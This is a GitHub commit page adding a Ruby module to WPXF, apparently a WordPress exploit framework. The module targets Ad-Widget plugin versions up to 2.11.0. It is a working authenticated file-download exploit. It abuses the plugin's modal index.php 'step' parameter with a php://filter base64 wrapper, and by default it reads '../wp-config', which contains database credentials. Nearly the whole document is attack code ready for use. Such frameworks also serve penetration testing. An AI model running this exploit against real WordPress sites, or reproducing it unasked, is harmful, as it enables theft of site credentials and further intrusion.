Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 90fff83

Browse files
committed
Add Ad-Widget <= 2.11.0 authenticated PHP file download
1 parent 9958e82 commit 90fff83

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
class Wpxf::Auxiliary::AdWidgetPhpFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ad-Widget <= 2.11.0 Authenticated PHP File Download',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8789']
14+
],
15+
date: 'Apr 04 2017'
16+
)
17+
end
18+
19+
def check
20+
check_plugin_version_from_readme('ad-widget', '2.12.0')
21+
end
22+
23+
def requires_authentication
24+
true
25+
end
26+
27+
def default_remote_file_path
28+
'../wp-config'
29+
end
30+
31+
def working_directory
32+
'wp-admin/'
33+
end
34+
35+
def downloader_url
36+
normalize_uri(wordpress_url_plugins, 'ad-widget', 'views', 'modal', 'index.php')
37+
end
38+
39+
def validate_result(res)
40+
return false unless super(res)
41+
42+
if export_path.nil?
43+
res.body = Base64.decode64(res.body)
44+
else
45+
content = Base64.decode64(File.read(export_path))
46+
File.open(export_path, 'wb') { |f| f.write(content) }
47+
end
48+
49+
true
50+
end
51+
52+
def download_request_params
53+
{ 'step' => "php://filter/convert.base64-encode/resource=#{remote_file}" }
54+
end
55+
end

0 commit comments

Comments
 (0)